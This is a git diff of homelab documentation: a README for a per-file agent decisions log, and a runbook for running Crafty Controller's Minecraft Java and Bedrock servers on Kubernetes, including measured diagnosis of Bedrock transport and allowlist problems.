isolated from each other in separate worktrees and cannot coordinate.
|
||||
|
||||
There is deliberately **no index file** and no counter. An index would be a shared
|
||||
mutable file — exactly the thing that just failed — and a sequence number would have
|
||||
two agents racing for `0043`. The directory listing is the index.
|
||||
|
||||
## Writing an entry
|
||||
|
||||
One file per handoff, named:
|
||||
|
||||
decisions/YYYY-MM-DD-<slug>.md
|
||||
|
||||
`<slug>` is lowercase `[a-z0-9-]`. **Use your branch name's last segment** — it is
|
||||
already unique per unit of work, which is precisely the property the filename needs.
|
||||
A branch `fix/crafty-oauth2-proxy-signin` handed off on 2026-09-29 writes:
|
||||
|
||||
decisions/2026-09-29-crafty-oauth2-proxy-signin.md
|
||||
|
||||
The file is YAML frontmatter followed by three required sections:
|
||||
|
||||
```markdown
|
||||
---
|
||||
date: 2026-09-29
|
||||
branch: fix/crafty-oauth2-proxy-signin
|
||||
title: The Keycloak gate works — Crafty's own login was the wall
|
||||
---
|
||||
|
||||
## What changed
|
||||
|
||||
Prose. What you actually did, and why.
|
||||
|
||||
## What I verified
|
||||
|
||||
The measurements, with their numbers. Quote the field you read, not the prose you
|
||||
believed. Name the gate result and its exit code.
|
||||
|
||||
## What I did NOT verify
|
||||
|
||||
Everything else. An honest "UNVERIFIED" is worth more than an optimistic "green" —
|
||||
this repo has been burned by the difference more than once.
|
||||
```
|
||||
|
||||
All three headings are **required and enforced** (`ci/decisions-log.sh`). They are
|
||||
CLAUDE.md §7's contract; making them a checked structure is what stops an entry
|
||||
degrading into "done ✅".
|
||||
|
||||
## Reading the log
|
||||
|
||||
The whole log, oldest first:
|
||||
|
||||
ls decisions/[0-9]*.md | sort
|
||||
|
||||
The current PM handoff — the newest entry. Ties within a day are broken by what landed
|
||||
on `main` last, which is the honest answer, so ask git rather than the filename:
|
||||
|
||||
git log --diff-filter=A --format='%H' --name-only -- 'decisions/[0-9]*.md' \
|
||||
| grep '^decisions/' | head -1
|
||||
|
||||
For a quick skim of who said what:
|
||||
|
||||
grep -H '^title:' decisions/[0-9]*.md | sort
|
||||
|
||||
## The archive is frozen
|
||||
|
||||
`DECISIONS-LOG.md` is **read-only history**. Its SHA-256 is pinned in
|
||||
`decisions/ARCHIVE.sha256` and `ci/decisions-log.sh` fails the merge gate if the file
|
||||
changes. That is not ceremony: without it, the next agent to read `runbooks/` or an old
|
||||
CLAUDE.md habit appends to the tail again and re-creates the conflict for everybody
|
||||
else, silently, one PR at a time.
|
||||
|
||||
If the archive genuinely must change (a leaked credential to redact, say), that is a
|
||||
deliberate, reviewed act: change it, run `sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256`,
|
||||
and say in your handoff entry why. Re-pinning is visible in the diff. Appending is not.
|
||||
+317
-10
@@ -21,7 +21,7 @@ Cilium L2 LoadBalancer (game protocols authenticate players themselves).
|
||||
| PVC subPaths | `servers`→`/crafty/servers`, `backups`→`/crafty/backups`, `logs`→`/crafty/logs`, `import`→`/crafty/import`, `config`→`/crafty/app/config` |
|
||||
| Identity | `runAsUser:1000 runAsGroup:0 fsGroup:0 runAsNonRoot:true` (see below) |
|
||||
| Web host | `crafty.home.keithjackson.dev` → shared Gateway → `crafty` Service :80 → sidecar :4180 → Crafty :8443 |
|
||||
| Game VIP | **192.168.1.55** (Cilium L2 LoadBalancer; `.53`=Gateway, `.54`=unifi, `.55`=crafty) |
|
||||
| Game VIP | `${CRAFTY_L4_VIP}` (Cilium L2 LoadBalancer) — **prod `192.168.2.22`** (live `EXTERNAL-IP`, measured 2026-09-29); base/dev `192.168.1.55` |
|
||||
| Game ports | starter set: **TCP 25565-25567** (Java), **UDP 19132-19134** (Bedrock) |
|
||||
|
||||
### fsGroup / user decision (the seerr lesson, applied)
|
||||
@@ -76,15 +76,16 @@ can't span namespaces). Both are age-encrypted to the repo `sops-age` recipient
|
||||
## Game-port L4 exposure
|
||||
|
||||
The Gateway is L7-HTTPS-only; raw TCP/UDP game ports can't ride it. `service-l4.yaml` exposes them as
|
||||
two `type=LoadBalancer` Services (TCP + UDP) sharing the pinned VIP **192.168.1.55**
|
||||
two `type=LoadBalancer` Services (TCP + UDP) sharing the pinned VIP `${CRAFTY_L4_VIP}` (**prod
|
||||
`192.168.2.22`**)
|
||||
(`lbipam.cilium.io/sharing-key: crafty`), ARP-announced by the existing `default-l2` policy. This path
|
||||
is **NOT auth-gated** — Minecraft Java (Mojang/Microsoft) and Bedrock (Xbox Live) authenticate players
|
||||
themselves. `external-dns` publishes `crafty-mc.home.keithjackson.dev → 192.168.1.55`.
|
||||
themselves. `external-dns` publishes `crafty-mc.home.keithjackson.dev → ${CRAFTY_L4_VIP}`.
|
||||
|
||||
### Adding more game ports (when the operator creates servers)
|
||||
|
||||
The operator has **not created any servers yet**; the starter set covers 3 Java + 3 Bedrock slots. To
|
||||
add capacity:
|
||||
As of 2026-09-29 **two** servers exist (see *Runtime state* below): Java `homelab` on 25565 and
|
||||
Bedrock `K3s-Bedrock` on 19132. The starter set covers 3 Java + 3 Bedrock slots. To add capacity:
|
||||
|
||||
1. In the Crafty UI, create the server and bind it to a NEW port (Java TCP or Bedrock UDP).
|
||||
2. Add that port to the matching Service in `service-l4.yaml` (one
|
||||
@@ -93,6 +94,274 @@ add capacity:
|
||||
4. (Optional) add a `containerPort` in `deployment.yaml` for documentation.
|
||||
5. Commit → Flux reconciles.
|
||||
|
||||
### Bedrock on UDP 19132 — the transport trap, and the ERROR banner that is NOT a refusal (MEASURED on prod 2026-09-29)
|
||||
|
||||
Two traps in sequence. The first hides the UDP socket; the second frightens you into undoing the fix.
|
||||
As of 2026-09-29 21:34 this server is **reachable on `19132/udp` and answering**, measured from
|
||||
off-cluster. Read both traps before changing anything.
|
||||
|
||||
#### Trap 1 — `transport=nethernet` (the shipped default) opens no RakNet UDP listener
|
||||
|
||||
Measured 20:54–21:32 against `K3s-Bedrock` (`c5837301-12b1-404e-b50e-70eafb37226b`, DB
|
||||
`type=minecraft-bedrock`, `server_port=19132`, process `./bedrock_server` alive):
|
||||
|
||||
- `/proc/net/udp` and `/proc/net/udp6` held **no socket on 19132** (`0x4ABC`) at all. Port 19132 was
|
||||
bound as **TCP** (`/proc/net/tcp6`, `…:4ABC`, state `0A`/LISTEN), not UDP.
|
||||
- That is nethernet working as designed, and the **shipped `bedrock_server_how_to.html`** — the
|
||||
vendor's own doc, sitting on the PVC beside the binary — says exactly why: nethernet *"listens on a
|
||||
single dual-stack **TCP** socket on `server-port` for an HTTP-based signaling handshake, then
|
||||
negotiates a UDP connection with each client that carries the gameplay traffic."*
|
||||
- **So nethernet could never have worked here anyway, on two independent counts:** `service-l4.yaml`
|
||||
exposes 19132 **only in the UDP Service** (`crafty-l4-tcp` carries 25565-25567 and nothing else), and
|
||||
`crafty-allow-ingress` allows `19132 UDP` and **not** `19132 TCP`. The signaling port was unreachable
|
||||
at both the Service and the policy layer. The server's own `packet-statistics.txt` for that run
|
||||
agrees: `Total Received: 0, 0B` over 2293 s.
|
||||
- Crafty does not manage this property (`transport` appears nowhere under `/crafty/app/classes/`) and
|
||||
its *only* Bedrock probe is `raknet_ping.py`, so the panel logged `WARNING
|
||||
app.classes.remote_stats.raknet_ping - Got timeout while issuing bedrock ping to 127.0.0.1:19132`
|
||||
every ~5 s — **155 such lines** — against a server it had started successfully.
|
||||
|
||||
#### Trap 2 — under `transport=raknet` this build prints a scary ERROR banner and then works anyway
|
||||
|
||||
The operator set `transport=raknet` at 21:33:31 (`/crafty/logs/audit.log`: `Edited file
|
||||
/crafty/servers/c5837301-…/server.properties`) and started the server at 21:33:58. BDS **1.26.52**
|
||||
printed, at ERROR level:
|
||||
|
||||
```
|
||||
[ERROR] ================ TRANSPORT TYPE ERROR ===================
|
||||
[ERROR] Your current connection type is not set to NetherNet. In this release, NetherNet is the only
|
||||
supported transport type.
|
||||
[ERROR] Players will not be able to connect to your game without NetherNet.
|
||||
[ERROR] To switch, set 'transport=nethernet' in server.properties.
|
||||
```
|
||||
|
||||
**That banner is advisory, not fatal. Do not revert `transport` on seeing it.** Every claim it makes
|
||||
about connectivity was false on this cluster within five seconds of it being printed:
|
||||
|
||||
- The process **kept running** (`./bedrock_server`, pid 47006) and **bound the RakNet sockets**:
|
||||
`/proc/net/udp` `00000000:4ABC` (19132, IPv4) and `/proc/net/udp6` `…:4ABD` (19133, IPv6), both owned
|
||||
by `bedrock_server` — `/proc/47006/fd/25` and `fd/26` → those socket inodes. The earlier **TCP** bind
|
||||
on `4ABC` is **gone**.
|
||||
- Crafty's warning **changed kind** at that instant: last `Got timeout` at `21:34:04,306`, first
|
||||
`Bedrock ping returned a string with too few fields` at `21:34:09,854`. That distinction is
|
||||
load-bearing — read `raknet_ping.py`: `Got timeout` is emitted *only* when `sock.recv` raises
|
||||
`TimeoutError` (nothing came back at all), whereas `too few fields` is reachable *only after* a
|
||||
`0x1C` Unconnected Pong has arrived **and its magic has validated**. The server is answering pings.
|
||||
- **End-to-end, from off-cluster:** a RakNet Unconnected Ping sent from the LAN to the prod VIP
|
||||
`192.168.2.22:19132` returns a 139-byte `0x1c` Unconnected Pong in ~12 ms, magic valid:
|
||||
|
||||
MCPE;Dedicated Server;2193;1.26.52;0;10;11676629557768398479;Bedrock level;Survival;1;19132;19133;0;0;0;
|
||||
|
||||
Edition `MCPE`, protocol `2193`, version **`1.26.52`**, `0/10` players. **Players can reach this
|
||||
server now**, through the VIP, the Service, and the CiliumNetworkPolicy, with no manifest change.
|
||||
- The vendor doc on disk contradicts the banner and matches the observed behaviour. `transport` is
|
||||
documented as *"Allowed values: raknet, nethernet"*, and: *"**raknet** — The traditional Bedrock UDP
|
||||
transport. The server listens directly on `server-port` (IPv4) and `server-portv6` (IPv6), and
|
||||
clients connect to that address and port."* RakNet is also still fully compiled into the binary —
|
||||
`strings bedrock_server` yields `RakNetConnector`, `createUniqueRakPeer`, `RakPeerInterface` and the
|
||||
vendored build path `…/src-deps/raknet/raknet/RakNetSocket2.cpp`.
|
||||
|
||||
So *"NetherNet is the only supported transport type"* is a **support statement, not a capability
|
||||
statement**: Microsoft declines to support RakNet and ships it working. Treat the banner as a
|
||||
deprecation notice with an **unknown expiry** — a future BDS may genuinely remove RakNet, and that is
|
||||
the day this exposure needs GeyserMC (see *If RakNet is ever really removed* below).
|
||||
|
||||
> **The shipped-comment trap, stated plainly.** `server.properties` lists `raknet` as allowed and the
|
||||
> binary logs an ERROR saying it is not supported. Both are the vendor, and they disagree. The tiebreak
|
||||
> is neither prose: it is `/proc/net/udp` and a pong on the wire. Whenever this file says a Bedrock
|
||||
> server is or is not reachable, it is because someone pinged it — not because a comment said so.
|
||||
|
||||
#### The steady-state `too few fields` warning is benign and is now the expected signature
|
||||
|
||||
Crafty will log `Bedrock ping returned a string with too few fields - missing values [None]` every
|
||||
~5 s forever. **That means the ping SUCCEEDED.** BDS 1.26.52's pong carries 16 `;`-separated fields;
|
||||
Crafty 4.10.8's `pingpong_string_fields` table knows 14 and expects the last to be an empty
|
||||
terminator. It instead finds `'0'`, so `last_enumeration` stops at index 12 and the parser reports the
|
||||
one `None` terminator entry as missing. Every field that matters (edition, MOTD, protocol, version
|
||||
name, player count, max players, uuid, game mode, both ports) parsed correctly. **Do not chase this
|
||||
warning.** The failure signature is the *other* message, `Got timeout`.
|
||||
|
||||
### "You are not invited to play on this server" — the join gate is the allowlist, not the network (MEASURED 2026-09-29 21:56; **RESOLVED and confirmed 22:03**)
|
||||
|
||||
A Bedrock client reported **"Unable to connect / You are not invited to play on this server"**. That is
|
||||
an **authorization** refusal, and it is the expected, guaranteed behaviour of this server's current
|
||||
configuration. Measured:
|
||||
|
||||
| Property / file | Value | Source |
|
||||
|---|---|---|
|
||||
| `allow-list` | **`true`** (line 37) | `server.properties` |
|
||||
| `allowlist.json` | **`[]`** — 3 bytes, mtime 20:51, never edited since server create | `cat allowlist.json` |
|
||||
| `online-mode` | `true` (line 31) | `server.properties` |
|
||||
| `transport` | **`raknet`** (line 71), file mtime **still 21:33:31** | `server.properties` |
|
||||
| TCP 19132 listener | **none** (`NO-TCP-4ABC`) | `grep 4ABC /proc/net/tcp /proc/net/tcp6` |
|
||||
| UDP 19132 listener | present, `00000000:4ABC`, pid 47006 | `grep 4ABC /proc/net/udp` |
|
||||
|
||||
**`allow-list=true` with an empty `allowlist.json` refuses every player, unconditionally.** The shipped
|
||||
`bedrock_server_how_to.html` states it: *"If the `allow-list` property is enabled in server.properties
|
||||
then the server will only allow selected users to connect. To allow a user to connect you need to know
|
||||
their Xbox Live **Gamertag**."* An empty list selects nobody. This is not a network problem, not a
|
||||
transport problem, and not a platform problem — and no amount of Service or policy work will change it.
|
||||
|
||||
#### CONFIRMED: one gamertag added, and a player joined
|
||||
|
||||
**This is no longer a hypothesis. The fix was applied and it worked.** *(The join itself is
|
||||
**operator-reported** — 2026-09-29, the operator added the player's gamertag and the Bedrock client
|
||||
connected and joined. I did not watch it.)* Two independent things corroborate it **directly on disk**:
|
||||
|
||||
- `allowlist.json` went from `[]` to **one entry**, and that entry's **`xuid` is populated**
|
||||
(`keys=['ignoresPlayerLimit','name','xuid']`, file 75 bytes, mtime **22:03:17**). Per the vendor doc,
|
||||
`xuid` is *"Optional. If it's not set then it will be populated when someone with a matching name
|
||||
**connects**."* The operator wrote only the name — `audit.log` records `Edited file
|
||||
…/allowlist.json` at **22:02:13** — so **the XUID was written by the server, on connect, at 22:03:17**.
|
||||
That is server-authored evidence of an Xbox-Live-authenticated join. *(Observed: the file state and
|
||||
both timestamps. Reasoned from the vendor doc: that a populated XUID implies a connect.)*
|
||||
- The RakNet path still answers after the restart this involved: a pong from `192.168.2.22:19132` at
|
||||
22:06, `MCPE;…;1.26.52;0;10;…` (`players=0` — the player had left by then), new `server_guid` matching
|
||||
the new pid.
|
||||
|
||||
**So the causal chain is closed: `allow-list=true` + `allowlist.json == []` was the wall, and nothing
|
||||
else was.** The earlier mapping of the client's *"You are not invited"* string to the empty allowlist was
|
||||
**reasoned** from the vendor doc (there is no BDS log on disk to read it from); adding exactly one
|
||||
gamertag and getting exactly one successful join **confirms that mapping**. No transport change, no
|
||||
manifest change, and no network change was involved in the fix.
|
||||
|
||||
> **Note the route the operator actually used:** they **edited `allowlist.json` directly** and then
|
||||
> **restarted** the server (`audit.log`: edit 22:02:13 → `stop_server` 22:02:37 → `start_server`
|
||||
> 22:02:41; pid 47006 → **47875**). That is route 2 below, and a restart is a valid substitute for
|
||||
> `allowlist reload`. Route 1 (`allowlist add` in the console) avoids the restart and is still preferred.
|
||||
|
||||
**This is also positive evidence that the RakNet path works end to end.** A refusal authored by *our*
|
||||
server required the client to reach our server and get an answer back. The only listener on 19132 is
|
||||
the **RakNet UDP** socket — there is **no TCP 19132 listener at all**, and NetherNet requires a TCP
|
||||
signalling socket on `server-port`. So the client cannot have used NetherNet against this server; it
|
||||
arrived over `19132/udp`, through `crafty-l4-udp` and the VIP. **The 19132-19134/UDP exposure is not
|
||||
inert — it is the path that carried both the pong and this refusal.** *(Observed: the listeners, the
|
||||
absent TCP socket, `transport=raknet`. Reasoned from those: that the refusal traversed that path. Not
|
||||
captured: the actual player flow — see the caveat below.)*
|
||||
|
||||
#### Caveat: BDS console output is NOT on disk, so a join attempt cannot be correlated from the filesystem
|
||||
|
||||
`K3s-Bedrock`'s `log_path` in `crafty.sqlite` is the **empty string**, and `Dedicated_Server.txt` is
|
||||
**0 bytes**. Crafty does not persist a Bedrock server's stdout anywhere on the PVC — the console exists
|
||||
only in the panel UI. `commander.log` between 21:39 and 21:56 contains nothing but `homelab`
|
||||
crash-detection lines and the `raknet_ping` chatter: **no join, no gamertag, no XUID, no allowlist
|
||||
denial.** That absence is **not** evidence about where the refusal came from; it is evidence that
|
||||
Crafty logs no BDS stdout at all. **To see a rejected join you must watch the panel console live.**
|
||||
UNVERIFIED, and only observable in the UI.
|
||||
|
||||
#### How a Bedrock player actually gets authorized here
|
||||
|
||||
Identity is an **Xbox Live Gamertag** (`online-mode=true` forces XBL auth, which is what gives BDS a
|
||||
gamertag/XUID to check). `allowlist.json` is a JSON array; per the vendor doc the keys are `name` (the
|
||||
gamertag), optional `xuid` (*"populated when someone with a matching name connects"*), and
|
||||
`ignoresPlayerLimit`. So the operator adds **one entry per player, keyed on gamertag** — there is no
|
||||
group, role, or Keycloak integration, and **none of this touches the oauth2-proxy/Keycloak gate**,
|
||||
which protects only the web panel.
|
||||
|
||||
Three ways to do it, all **operator actions**. **Routes 1 and 2 are both proven** — route 2 is the one
|
||||
that produced the confirmed join above:
|
||||
|
||||
1. **Preferred — the panel console.** In Crafty, open `K3s-Bedrock` → Console and send:
|
||||
`allowlist add <Gamertag>` (quote it if it contains a space: `allowlist add "Example Name"`).
|
||||
This writes `allowlist.json` **and** takes effect immediately, with no restart.
|
||||
2. **Edit the file, then reload.** Write `/crafty/servers/c5837301-…/allowlist.json`, then send
|
||||
`allowlist reload` in the console — *"After you've modified the file you need to run the command
|
||||
`allowlist reload` to make sure that the server knows about your new change."* Shape:
|
||||
|
||||
```json
|
||||
[
|
||||
{ "ignoresPlayerLimit": false, "name": "FirstPlayerGamertag" },
|
||||
{ "ignoresPlayerLimit": false, "name": "SecondPlayerGamertag" }
|
||||
]
|
||||
```
|
||||
|
||||
3. **Turn the allowlist off entirely** — `allow-list=false` in `server.properties` (restart), or
|
||||
`allowlist off` in the console. Note the vendor's warning: `allowlist on|off` *"does not change the
|
||||
value in the server.properties file"*, so a console `off` silently reverts on the next start.
|
||||
**Not recommended:** the game port is deliberately un-gated at the network layer (see *Game-port L4
|
||||
exposure*), so the allowlist is the **only** thing deciding who may join. Keep it `true` and enumerate
|
||||
players.
|
||||
|
||||
> **`allowlist.json` is application state on the PVC**, exactly like `transport=raknet`. Neither is in
|
||||
> git and **Flux can restore neither**. Be precise about what breaks them, because the two cases differ:
|
||||
>
|
||||
> - **A pod or server *restart* preserves both** — observed: the 22:02:48 restart (pid 47006 → 47875)
|
||||
> kept `transport=raknet` (`server.properties` mtime unchanged at 21:33:31) and kept the allowlist
|
||||
> entry. What a **pod** restart *does* break is that `K3s-Bedrock` has `auto_start=0`, so the Bedrock
|
||||
> server simply **does not come back** until someone starts it by hand.
|
||||
> - **A server *recreate* or reinstall silently resets both** — a fresh `server.properties` ships
|
||||
> `transport=nethernet` (nothing bound on 19132/udp) and a fresh `allowlist.json` is `[]` (everyone
|
||||
> refused). Neither change announces itself, and the server will look healthy and started in the panel
|
||||
> while being unreachable *and* unjoinable.
|
||||
>
|
||||
> **Treat both files as backup-relevant, and re-run the 5-step connect procedure above after any Bedrock
|
||||
> recreate or BDS update.**
|
||||
|
||||
#### Why this does not change the transport recommendation
|
||||
|
||||
`transport=raknet` is correct, and with the allowlist entry in place the combination is **proven
|
||||
end-to-end by a player who has joined** — not merely the best-reasoned option. The allowlist refusal was
|
||||
orthogonal to transport all along: it would have refused players identically under NetherNet. Switching
|
||||
to NetherNet would *add* work (TCP 19132 in `crafty-l4-tcp` **and** in `crafty-allow-ingress`, plus
|
||||
`server-udp-ports` pinned and exposed) and would admit **not one extra player**. The ranking below stands,
|
||||
and option 1 is now settled rather than provisional.
|
||||
|
||||
#### Decision (PROVEN, not provisional): `transport=raknet` stays; the 19132-19134/UDP exposure is correct and live
|
||||
|
||||
No manifest change is needed or wanted. `service-l4.yaml`, `networkpolicy.yaml` and the
|
||||
`containerPort`s were already shaped for exactly RakNet, and that shape is now **proven by a player who
|
||||
has connected and joined over `192.168.2.22:19132`** — not assumed, and not merely reasoned. The options
|
||||
that would have required manifest work are all **not recommended**:
|
||||
|
||||
| Option | Manifest consequence | Verdict |
|
||||
|---|---|---|
|
||||
| **Keep `transport=raknet`** + allowlist entries (**this is what works**) | **none** — the existing Service, policy and ports were already correct | **Done; proven.** A player has joined over the VIP. Zero manifest change, vanilla parity, real Bedrock world. |
|
||||
| **GeyserMC + Floodgate** on the `homelab` Paper server | none either (Geyser also binds `19132/udp`), but it would **collide** with the live BDS on 19132 — one of them must move | Hold in reserve. Only worth it if RakNet is really removed, or if you *want* one shared world. Cost: Bedrock players join the **Java** world, not a Bedrock world; Java-only mechanics and some content differ; it is another moving part to patch. |
|
||||
| **Pin/downgrade BDS** to a pre-nethernet release | none | Unnecessary — the *current* build already speaks RakNet. Also fragile: Microsoft removes old BDS downloads, and Crafty's Bedrock installer tracks latest. UNVERIFIED whether Crafty can pin a version at all. |
|
||||
| **A third-party server** (PocketMine-MP, Nukkit) | none | No. Loses vanilla parity and the world format; a large change to solve a problem that is not occurring. |
|
||||
| **Accept NetherNet** | 19132-19134/UDP becomes **inert**; nethernet would instead need **TCP** 19132 added to `crafty-l4-tcp` *and* to `crafty-allow-ingress`, plus `server-udp-ports` pinned and exposed for the negotiated media path | No — and note it is **not currently in use**: `transport=raknet` and there is no TCP 19132 listener. Strictly more manifest work than the option that already works, it admits no extra player (the allowlist is the gate), and WebRTC media behind a shared VIP and SNAT is unproven here. |
|
||||
|
||||
#### If RakNet is ever really removed
|
||||
|
||||
Then BDS opens no UDP listener and this exposure has nothing to bind to — an architecture problem, not
|
||||
a config one. The migration is **GeyserMC + Floodgate as a plugin on the existing `homelab` Paper
|
||||
server**, because Geyser speaks RakNet on `19132/udp` itself: the VIP, the Service, the policy and the
|
||||
`containerPort`s all stay **byte-for-byte as they are**, and Bedrock clients keep connecting to
|
||||
`crafty-mc.home.keithjackson.dev:19132`. What changes is the world: Bedrock players land in the Java
|
||||
world via Floodgate (no Xbox-authenticated Bedrock account needed on the Java side), the Bedrock server
|
||||
is retired, and `K3s-Bedrock` stops the day Geyser starts — **they cannot share 19132**. Installing it
|
||||
is a PVC write plus a Paper restart, i.e. an **operator action**: drop `Geyser-Spigot.jar` and
|
||||
`floodgate-spigot.jar` into `/crafty/servers/13c7b85d-…/plugins/` and restart `homelab`, then set
|
||||
Geyser's `bedrock.port: 19132` and `clone-remote-port: false` in its generated `config.yml`.
|
||||
Geyser's own Bedrock-version support is **external and unmeasured here** — check that it supports the
|
||||
Bedrock client version in use before committing.
|
||||
|
||||
### Bedrock realities that are NOT platform defects but present identically
|
||||
|
||||
- **LAN / Friends-tab discovery can never work here.** Bedrock discovery is a UDP broadcast on 19132
|
||||
inside one L2 segment; this server sits behind a LoadBalancer VIP (and SNAT), not on the LAN, so it
|
||||
will **never** appear in a client's Friends/LAN list. Players must use **Add Server** and type the
|
||||
address and port by hand: `crafty-mc.home.keithjackson.dev` (or the VIP) with port **19132**.
|
||||
`external-dns` publishes that name from the **-tcp** Service, so it resolves to the shared VIP and
|
||||
is correct for Bedrock too — only the port differs from Java's 25565.
|
||||
- **Consoles cannot reach this at all.** Switch/Xbox/PlayStation Bedrock clients have no
|
||||
arbitrary-server-address field; only Windows/mobile/Fire do. Reaching it from a console needs a DNS
|
||||
redirect of a featured-server hostname, which is out of scope for `service-l4.yaml`.
|
||||
- **`enable-lan-visibility=true` (the shipped default) collides with Bedrock slots 1 and 2 — now
|
||||
OBSERVED, not merely documented.** Under `transport=raknet` it makes a server bind the **default**
|
||||
ports 19132 *and* 19133 even when `server-port`/`server-portv6` say otherwise; the shipped
|
||||
`bedrock_server_how_to.html` says so, and on 2026-09-29 a RakNet ping to
|
||||
`192.168.2.22:19133` returned **the same pong, from the same `server_guid`, as `:19132`** — one
|
||||
server occupying two of the three Bedrock slots. `:19134` correctly timed out. So a second Bedrock
|
||||
server put on 19133 will fight the first. Set `enable-lan-visibility=false` on every Bedrock server
|
||||
after the first; LAN discovery cannot work here anyway (above).
|
||||
- **`server-portv6` is the IPv6 listener and is not exposed; `19133` is nonetheless in use.**
|
||||
`service-l4.yaml` is IPv4 single-stack, so the *IPv6* socket `…:4ABD` that BDS opens for
|
||||
`server-portv6=19133` is unreachable from the LAN. But because `enable-lan-visibility=true` (above)
|
||||
the server *also* answers on **IPv4 19133**, which the UDP Service does expose — measured. So
|
||||
`19133` in `server.properties` genuinely does mean "slot 1 is taken", contrary to what this file
|
||||
previously said.
|
||||
|
||||
## Policies
|
||||
|
||||
`namespace.yaml` sets only `gateway-access=shared` (platform namespace, like headlamp/homepage), so
|
||||
@@ -114,14 +383,48 @@ Gateway VIP). The sidecar→Crafty hop is pod-local (`127.0.0.1`) and not subjec
|
||||
local admin. A **non-platform-admins** user → **403** (authenticated but not authorized).
|
||||
2. **Pod health / fsGroup:** `kubectl -n crafty get pod` Ready 2/2; Crafty writes its DB under
|
||||
`/crafty/app/config` and `/crafty/servers` without EACCES.
|
||||
3. **Server-create + game reach:** in the Crafty UI create a Java server bound to `25565`; start it;
|
||||
connect a Minecraft client to `crafty-mc.home.keithjackson.dev:25565` (or `192.168.1.55:25565`)
|
||||
from the LAN and confirm the world loads. (Bedrock: a server on `19132/udp` reached at the VIP.)
|
||||
3. **Server-create + game reach (Java):** in the Crafty UI create a Java server bound to `25565`;
|
||||
start it; connect a Minecraft client to `crafty-mc.home.keithjackson.dev:25565` (or
|
||||
`192.168.2.22:25565`) from the LAN and confirm the world loads.
|
||||
4. **Bedrock: the connect procedure (VERIFIED end-to-end 2026-09-29 — a player has joined).**
|
||||
Creating and starting the server is **not sufficient**. Do these in order; each step has a distinct
|
||||
failure signature:
|
||||
|
||||
1. **`transport=raknet`** in `server.properties`. The vendor default is `nethernet`, which opens
|
||||
**no UDP listener at all**.
|
||||
2. **A live UDP listener:** `grep 4ABC /proc/net/udp /proc/net/udp6` → a wildcard bind. Under
|
||||
`nethernet` you instead see `4ABC` on **TCP**, which nothing here exposes.
|
||||
3. **A pong from off-cluster:** a RakNet Unconnected Ping to `192.168.2.22:19132` returns a `0x1c`
|
||||
packet whose MOTD string starts `MCPE;`. This proves the VIP, Service and policy path.
|
||||
4. **An allowlist entry for the player's Xbox Gamertag.** `allow-list=true` with
|
||||
`allowlist.json == []` refuses **every** player with *"You are not invited to play on this
|
||||
server"* while the server is otherwise perfectly reachable. In the panel console:
|
||||
`allowlist add <Gamertag>`.
|
||||
5. **Add Server** by hand in a Windows/mobile client: `crafty-mc.home.keithjackson.dev`, port
|
||||
`19132`. It will never appear in the LAN/Friends tab, and a console cannot reach it at all.
|
||||
|
||||
**Two log messages appear on a fully working server and must be ignored:** BDS's
|
||||
`================ TRANSPORT TYPE ERROR ===================` banner (advisory — see *Trap 2*), and
|
||||
Crafty's perpetual `Bedrock ping returned a string with too few fields`. Neither indicates a fault;
|
||||
chasing them is what cost two sessions. The **real** failure signatures are `Got timeout while
|
||||
issuing bedrock ping` (no listener) and *"You are not invited"* (allowlist).
|
||||
|
||||
## Runtime state: the servers themselves are NOT in git
|
||||
|
||||
As of 2026-09-14 one Java server exists — **"homelab"**, Paper 26.2, TCP 25565, 2 GiB heap, autostart
|
||||
on, UUID `13c7b85d-00bb-4a58-8c86-2433ca47891c`. It was created through Crafty's v2 API, and **Mojang's
|
||||
As of 2026-09-29 **two** servers exist (both measured live, `select * from servers`):
|
||||
|
||||
| Name | Type | Port | UUID | `auto_start` |
|
||||
|---|---|---|---|---|
|
||||
| `homelab` | `minecraft-java` (Paper 26.2, 2 GiB heap) | TCP 25565 | `13c7b85d-00bb-4a58-8c86-2433ca47891c` | **1** |
|
||||
| `K3s-Bedrock` | `minecraft-bedrock` | UDP 19132 | `c5837301-12b1-404e-b50e-70eafb37226b` | **0** ⚠ |
|
||||
|
||||
`K3s-Bedrock` was created 2026-09-29 20:51 and **still** has `auto_start=0` **and**
|
||||
`crash_detection=0` — re-measured 2026-09-29 21:41 straight out of `crafty.sqlite` (read-only), so the
|
||||
create-API trap documented at the bottom of this file is still live and still unfixed. **It will not
|
||||
come back after a pod restart**, and merging any change to `deployment.yaml` restarts the pod
|
||||
(`strategy: Recreate`). PATCH both to true and read them back.
|
||||
|
||||
`homelab` was created through Crafty's v2 API, and **Mojang's
|
||||
EULA (<https://aka.ms/MinecraftEULA>) was accepted on the operator's behalf** to let it start; see the
|
||||
DECISIONS-LOG entry of that date.
|
||||
|
||||
@@ -132,6 +435,10 @@ application state on the `crafty-data` Longhorn PVC, in two places, and **Flux c
|
||||
heap sizes, `auto_start` / `crash_detection`.
|
||||
- `/crafty/servers/<uuid>/` (`servers` subPath) — `paper.jar`, `eula.txt`, `server.properties`, and
|
||||
**the generated world**. The jar is re-downloadable; the world is not.
|
||||
**`transport=raknet` lives here too.** It is the one setting that makes Bedrock reachable at all (see
|
||||
*the transport trap*), it is not in git, Flux cannot restore it, and a freshly created or reinstalled
|
||||
Bedrock server gets the vendor default `transport=nethernet` back — i.e. it silently regresses to
|
||||
"nothing bound on 19132/udp". Re-apply and re-ping after any Bedrock server recreate or BDS update.
|
||||
|
||||
So a rebuild from git alone yields a healthy but **empty** Crafty with nothing listening on 25565.
|
||||
Recreating a server by hand means: create it in the UI or API, accept the EULA again, and PATCH
|
||||
|
||||
Reference in new issue
Block a user